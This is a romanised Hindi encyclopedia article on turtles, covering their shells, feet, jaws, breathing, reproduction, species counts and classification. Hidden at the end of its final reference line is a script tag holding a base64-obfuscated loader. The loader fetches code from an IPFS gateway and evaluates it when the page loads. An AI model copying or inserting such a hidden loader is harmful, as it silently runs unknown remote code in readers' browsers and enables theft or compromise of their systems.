कछुआ

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is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

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thumb|250px|kachhua
Tortoise kachhua uragoan ke ek gan parivarmigan (kiloniya) ka prani hai. yah jal aur sthal donoan sthanoan mean paya jata hai. jal aur sthal ke kuchhe to bhinn hote hi haian, mithe tatha khare jal ke kachhuoan ki bhi prithakh jatiyaan hoti haian.

roop aur akriti

kachhuoan ka gol sharir k de dibbe jaise avaran se dhaka rahata hai. is k de avaran ya khol se, jise khap da kaha jata hai, inaki charoan taangean tatha lanbi garadan bahar nikali rahati haian. yah khap da k de partadar shalkoan se dhanka rahata hai. kachhuoan ka oopari bhag pray: uttal (ubhara hua) aur nichala bhag chapata rahata hai. oopari bhag ko utkavach (kairapes) aur niche vale ko udaravarm (plaistran) kahate haian. kuchh kachhuoan ka oopari bhag chikana rahata hai, parantu kuchh k de shalk is prakar ek doosare par chadhe rahate haian jaise pray: makanoan par khap de chhae rahate haian. ye khap de kee tuk doan ke ju dane se banate haian, jo sudridhata se paraspar ju de rahate haian. oopar aur niche ke khap de bhi bagal mean sudridhata poorvak ek doosare se sanyojit rahate haian.

kachhuoan ke khap doan ki banavat unaki rahan-sahan ke anusar hi hoti hai. sookhe mean rahane vale kachhuoan ki khap de ooanche aur golaee lie rahate haian jisake bhitar ve apani gardan aur taangoan ko saralata se siko d lete haian. kiantu pani ke kachhuoan ke khap de chapate hote haian, kyoanki unhean apani taangoan ko shighr bhitar bahar karane ki avashyakata nahian p dati.

khap doan ki bhaanti unaki aanguliyoan ki banavat par bhi unaki rahan-sahan ka paryapt prabhav dikhaee p data hai. sthal kachchhoan ki aanguliyaan jahaan apas mean aisi guanthi rahati hai ki ham unaki sankhya keval unake nakhoan se hi jan pate haian, vahian jal kachchhoan ki aanguliyaan bhinn hokar bhi battakhoan ke saman apas mean ek prakar ki jhilli se ju di rahati haian. samudri kachchhoan ke agale pairoan ki aanguliyaan aur aangoothe ek hi mean ju dakar patavaranuma ho jate haian aur unamean nakhoan ki sankhya bhi kam rahati hai. thumb|250px|left|kachhua
Tortoise

lakshan

kachhuoan ke muanh mean daant nahian hote, kiantu unake sthan par ek k di haddi ka chandrakar patt (plet) sa rahata hai, jisaki dhar bahut tikshn hoti hai. isi ke dvara ve apani bhojan sugamata se kat lete haian. sthal kuchhe shakahari hote haian aur jal kachchhoan mean adhik sankhya unhian ki hai jo maans machhaliyoan aur ghoanghe katuoan se apana pet bharate haian.

kachhuoan mean saans lene ka dhang bhi any uragoan se bhinn hota hai. ve ubhayacharoan ke saman saans lete haian. unake pheph de mean vayu ek aise avayav ki sahayata se pahuanchati hai jo unaki garadan aur mukh ke nichale bhag ko siko data aur phailata rahata hai. chalate samay ya tairate samay garadan aur taangoan ke age pichhe gatiman hone se unhean saans lene mean suvidha ho jati hai. pani ke rahane vale kuchh kachhue apani guda se pani mean ghuli huee vayu ko usi prakar sokh lete haian jaise machhaliyaan apane galaph doan se pani mean ghule aksijan ko sokh leti haian.

kachhue koee spasht dhvani nahian karate, kiantu jo da baandhate samay nar ka ek prakar ka karkash svar aur stri ki phuph kar kabhi-kabhi sunaee p dati hai. inaki santanavriddhi aandoan dvara hoti hai, jinhean stri ek bar ret mean ga dakar phir usaki chianta nahian karati.

kachhuoan ki prajatiyaan

sansar mean lagabhag 225 jatiyoan ke kachhue haian, jisamean sabase b da samudri kachhua samany charmakashyap hota hai. samudri kachhua lagabhag 8 phut lanba aur 30 man bhari hota hai. 250px|thumb|kachhua isaki pith par k de shalkoan ki dhariyaan si p di rahati haian, jinapar khal chadhi rahati hai. isaka nivasasthan ushnapradeshiy sagar haian aur isaka mukhy bhojan maans, machhali aur ghoanghe katue haian. any kachhuoan ki bhaanti is jati ke mada kachhue bhi ret mean aande dete haian.

shesh kachhuoan

shesh kachhuoan ko is prakar tin shreniyoan mean baanta gaya hai :

1. mridukashyap (trionik aauidi): is shreni mean ve jal kachhue ate haian jinake oopari khap de par k de shalk ya patt nahian hote.
2. guptagriva (kriptodira): is shreni mean ve jal aur sthal kachhue ate haian jinake oopari khap de par khal se dhake hue k de shalk ya patt rahate haian aur jo apani lanbi garadan ko siko date samay use aangreji akshar C ke saman vakrakar kar lete haian. is shreni mean sabase adhik kachhue haian.
3. parshvagriva (pyoorodira): is shreni mean kriptodira shreni jaise hi jal aur sthal ke kachhue haian, kiantu unaki garadan utkavach ke bhitar siku d nahian sakati, keval bagal mean ghumakar utkavach ke niche kar li jati hai.

hamare desh mean kachhuoan ki lagabhag 55 jatiyaan paee jati haian, jinamean sal, chikana, chitana, chhatanahiya, ramanandi, bajathoanthi aur sevar adi prasiddh kachhue haian.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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tika tippani aur sandarbh

“khand 2”, hindi vishvakosh, 1960 (hindi), bharatadiskavari pustakalay: nagari pracharini sabha varanasi, 265.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>